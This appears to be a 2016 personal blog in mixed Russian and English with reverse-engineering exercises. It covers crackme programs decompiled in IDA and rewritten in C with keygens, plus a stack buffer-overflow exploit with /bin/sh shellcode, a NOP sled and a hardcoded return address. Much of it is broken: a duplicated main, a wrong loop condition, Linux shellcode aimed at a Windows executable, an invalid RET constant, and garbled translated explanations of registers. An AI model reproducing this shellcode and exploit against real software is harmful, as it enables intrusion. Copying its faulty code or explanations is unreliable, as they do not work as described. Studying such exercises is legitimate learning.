среда, 30 ноября 2016 г.

Cracks_me_offset_password



http://wormholetravel.net/
/*Данный код на основании логина формирует пароль - кряк. Пароль - свинутый на один символ логин*/
#include <stdio.h>
#include <string.h> //содержит прототипы строковых функций
int main(void)
{
    char log[64];
    char pass[64];
    int i;
    int result;
printf("EnterLogin \n");
scanf("%s", log);

printf("EnterPassword \n");
scanf("%s", pass);
signed int v3 = strlen(log);
int v4 = strlen(pass);
if ( v3 == v4 )
{
for (i=0; log[i] !='\0'; i++)
{
if ( log[i]+1 != pass[i])
{
printf("%c IncorrectPas_0", v3);
return 1;
}
}
    printf("%c PasswordIsCorr", v3);
result = 0;
}
else
{
printf("%c IncorrectPassw", v3);
result = 1;
}
getchar();
getchar();
  return result;
}
ВЫВОД НА ЭКРАН
EnterLogin
abcd
EnterPassword
abcd
IncorrectPas_0

EnterLogin
abc
EnterPassword
bcd
PasswordIsCorr

EnterLogin
hello
EnterPassword
ifmmp
PasswordIsCorr

EnterLogin
hello
EnterPassword
hello
IncorrectPas_0

Кейген к данному коду 
//КЕЙГЕН
#include <stdio.h>
#include <string.h> //содержит прототипы строковых функций
int main(void)
int main(void)
{
char log;
char pass;
        int i;
printf("Enter login: \n");
log=getchar();
printf("Enter password: \n");
for (i=0; (log+1); i++) //пароль - сдвинутые символы логина

{
putchar(log+1); //изменить другие символы, аналог printf() - вывести на экран
log = getchar(); //получить следующий символ, аналог scanf() - получить входные данные от пользователя
}
putchar(log); //вывести символ новой строки
return 0;
}
ВЫВОД НА ЭКРАН
Enter login:
pol
Enter password:
qpm

Enter login:
abc
Enter password:
bcd

Enter login:
open
Enter password:
pqfo

Enter login:
hello
Enter password:
ifmmp

вторник, 29 ноября 2016 г.

Very simple Crack_me

Here I demostrate very simple Cracks_me in C. I write the programm in C were the password is a login.




Open the IDA to analysis 


In IDA we searching our main function in .text section - code section


Compiler




The use the IDA function F5 and see the row code 

int sub_411890() { char v1; // [sp+0h] [bp-1C8h]@1 char v2; // [sp+Ch] [bp-1BCh]@1 size_t v3; // [sp+D0h] [bp-F8h]@1 size_t v4; // [sp+DCh] [bp-ECh]@1 int v5; // [sp+E8h] [bp-E0h]@7 int i; // [sp+F4h] [bp-D4h]@2 char v7[100]; // [sp+100h] [bp-C8h]@1 char Str[96]; // [sp+164h] [bp-64h]@1 unsigned int v9; // [sp+1C4h] [bp-4h]@1 int savedregs; // [sp+1C8h] [bp+0h]@1 memset(&v2, 0xCCu, 0x1BCu); v9 = (unsigned int)&savedregs ^ __security_cookie; ((void (__cdecl *)(_DWORD, char))sub_41132A)("Enter Login:", v1); sub_411230("%s", (unsigned int)Str); ((void (__cdecl *)(_DWORD, char))sub_41132A)("Password: ", v1); sub_411230("%s", v7); v4 = j_strlen(Str); v3 = j_strlen(v7); if ( v4 == v3 ) { for ( i = 0; Str[i]; ++i ) { if ( Str[i] != v7[i] ) { sub_41132A("%c IncorrectPas_0", v4); goto LABEL_10; } } sub_41132A("%c PasswordIsCorr", v4); v5 = 0; } else { sub_41132A("%c IncorrectPassw", v4); v5 = 1; } getchar(); sub_411118(); getchar(); sub_411118(); LABEL_10: sub_411262(&savedregs, &dword_411A28); sub_411276(); return sub_411118(); }

The we can rewrite the tool on C
#include <stdio.h>
#include <string.h> //string function
int main(void)
{
     char login[90];
 char pass[90];
    int i;
    int result;
    printf("Enter Login:");
    scanf("%s", login);
    printf("Password: ");
scanf("%s", pass);
 int v3 = strlen(login);
int v4 = strlen(pass);

if (v3 == v4)
{
for (i = 0; login[i] !='\0'; i++)
   {
   if (login[i] != pass[i]) //password is a login
   {
printf("%c IncorrectPas_0", v3);
return 1;
}
}
printf("%c PasswordIsCorr", v3);
result = 0;
}
 else
{
printf("%c IncorrectPassw", v3);
result = 1;
}
getchar();
getchar();
  return result;
}
ON THE SCREEN
Enter Login:develop
Password: helll
IncorrectPassw

Enter Login:open
Password: open
PasswordIsCorr

The Keygen on this Crack
#include <stdio.h>
#include <string.h> //string function
int main()
{
    char login[90];
    int i;
    printf("Enter Login:");
    scanf("%s", login);
    printf("Password: ");
   for (i = 0; login[i] !='\0'; i++) //password
   {
       putchar(login[i]);
         }
    printf("\n");
    return 0;
}
ON THE SCREEN
Enter Login:hellofr
Password: hellofr

понедельник, 28 ноября 2016 г.

Cracks me - static

http://wormholetravel.net/
Cracks me - the very simple static example. We have got a tool.

Open it in Ollydbg

And make run tryint the analysis the application. Here we can see the header


Here the assembler code of tool 


Ok. This is Ollydbg investigation and we see that the password. static and doesn't generated by algorithm.

We use IDA 6.6 and find there the function
//IDA disassembler
signed int sub_EB1000()
{
sub_EB1136((int)aEnterLogin, v2);
sub_EB11E5(aS, v7, 64);

sub_EB1136((int)aEnterPassword, v0);
sub_EB11E5(aS_0, v6, 64);

v3 = strlen(v7);
v4 = strlen(v6);
if ( v3 == v4 ) {
 for ( i = 0; i < (signed int)v3; ++i ) {
  if ( v7[i] != v6[v4 - 1 - i] ) {
   sub_EB1136((int)aIncorrectPas_0, v3);
   return 1;
  }
 }
    sub_EB1136((int)aPasswordIsCorr, v3);
 result = 0;
}
else {
 sub_EB1136((int)aIncorrectPassw, v3);
 result = 1;
}
  return result;
}

We can rewrite this code in C.

#include <stdio.h> 
#include <string.h> 

int main(void)
{
    char log[64];  
    char pass[64];  
    int i;     
    int result;    
printf("EnterLogin \n"); 
scanf("%s", log);   

printf("EnterPassword \n");
scanf("%s", pass);

signed int v3 = strlen(log); 
int v4 = strlen(pass);

if ( v3 == v4 )     
 {
 for ( i = 0; i < v3; ++i )     
  {
  if ( log[i] != pass[v4 - 1 - i] )   
  {
   printf("%c IncorrectPas_0", v3);
   return 1;
  }
 }
    printf("%c PasswordIsCorr", v3);
 result = 0;
}
else
{
 printf("%c IncorrectPassw", v3);
 result = 1;
}

 getchar();
 getchar();

  return result;
}

The first if checks if entered to a string length. If they are equal, it checks the input string is inverted with the login password string. if (! v7 [I] = v6 [v4 - 1 - I]), v7 [i] - i-th character string with login v6 [v4 - 1 - I] - "v4-1-I 'th character from the password where v4- length string with a password, -1 because Xi numbering starts with 0 and "length of the string minus 1."


Here is a sample text keygens for this task:
#include "stdio.h"
int main() {
 char login[100];
 printf("Enter Login:");
 scanf("%s", login);
 printf("Password: ");
 for (int i = strlen(login) - 1; i <= 0; --i) {
  putchar(login[i]);
 }
 return 0;
}

Here's a crack compiles and produces the correct result:
#include "stdio.h"
#include "string.h"
int main() {
    char login[100];
    printf("Enter Login:");
    scanf("%s", login);
    printf("Password: ");
    for (int i = strlen(login) - 1; i >= 0; --i) {
        printf("%c", login[i]);
    }
    printf("\n");
    return 0;

}

четверг, 24 ноября 2016 г.

Bufferoverflow stack exploit

How to write exploit to the tool. 
I will try to do it writing the simple programm in C









Use the CodeBlock for creating the consol application for  Win32














Open in  HexWorkwhop













Open in Ollybdg and run 
















Make  -> Run 
















ESP : stack pointer 0022FF8C
EIP : instruction pointer 00401280
EBP : base pointer 0022FF94

Try to use the application, enter the  word and run.  Then loot at the registers. 













ESP : stack pointer 0022FF70
EIP : instruction pointer 00401283
EBP : base pointer 0022FF94

REGISTERS - components of the processor that stores data and address

Processor register
The 32-bit processor architecture present
- Ten 32-bit, and six 16-bit registers

Registers are divided into three categories:
- The main registers
- Control registers
- Segment registers

The main registers are divided into:
- Data registers - data
- Pointer registers - Indices
- Index registers - index

DATA REGISTERS - data register
For a 32-bit register used for arithmetic, logical, and others. Operations
- 32-bit registers -> EAX, EBX, ECX, EDX
- The lower register is used as a 16-bit -> AX, BX, CX, DX
- The lower registers are used as 8-bit -> AH, AL, BH, BL, CH, CL, DH, DL

AX - (premary accumulation) prevonachalnoe accumulation is used in input / output and most arifmiticheskih instructions.
BX - (base register) main index - Try Us for indexing addresses
CX - (counter regeister) Register graphs - cycles and interactive operation
DX - (data register) data register - used input / output, multiplication, division

POINTER REGISTERS - pointer registers
Registers pointers 32-bit EIP, ESP, EBP, and 16-bit registers IP, SP, BP

Three REGISTERS category SIGNS - POINTER REGISTERS:

- Instruction Pointer (IP) - the instruction pointer
16-bit register holds the IP addresses for the offset of the next instruction to be executed.
IP associated with the CS register (CS: IP) enables the full address of the current instruction in the code segment.
Segment address (offset) - start address memory segment with an offset value.

- Stack Pointer (SP) - the stack pointer
16-bit SP register provides the offset value of the stack in the stack program.
SP register associated with the SS (SS: SP) refers to the current position data and addresses in the program stack.

- Base Pointer (BP) - MAIN INDEX
16-bit BP register is mainly refers to the parameter variables passing through the code.
Address register SS combined with BP in the stack may also be combined with SI and DI as the main
Register to a special address.

INDEX REGISTER - INDEXING address (sometimes used in operations arifmiticheskih)
32-bit -> ESI, EDI
16-bit -> SI, DI

Source Index (SI) - the source code
Destination Index (DI) - the index of destination of

















































Enter the count of symbol exceeds the  buffer -  55 symbol 














We see the bufferoverflow stack 






























Try to write the exploit














//Exploit for target.exe
#include<process.h>                                                                                        //запустить другую программу
#include<stdio.h>
#include<errno.h>
#include<stdlib.h>
#include<string.h>
#include<dos.h>

/* Минимальный shellcode */
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

#define NOP     0x90
#define LEN     88                                                                                             //lpBuffer 58h -> decimal 88
#define RET     770F6BF4                                                                                //return address from Ollydbg

int main()
{
char buffer[LEN];
long retaddr = RET;
int i;

fprintf(stderr,"using address 0x%lx\n",retaddr);       //fprint выполняет форматированный вывод в поток
                                                                                              // stderr вывод сообщений об ошибках на экран

/* заполяем весь буфер адресом возврата */
for (i=0;i<LEN;i+=4)                                                                                                                         //4 byte
   *(long *)&buffer[i] = retaddr;

/* заполняет начальный буфер NOP's, 60 массив меньше чем размер буфера,
 таким образом помещается шелкод и адрес возрата  */
for (i=0;i<(LEN-strlen(shellcode)-100);i++)
   *(buffer+i) = NOP;

/* после заполнения NOP's, копируем в execve() shellcode */
memcpy(buffer+i,shellcode,strlen(shellcode));

/* export the variable, run */

execlp("target.exe", NULL);                          //запускаем target.exe
return 0;
}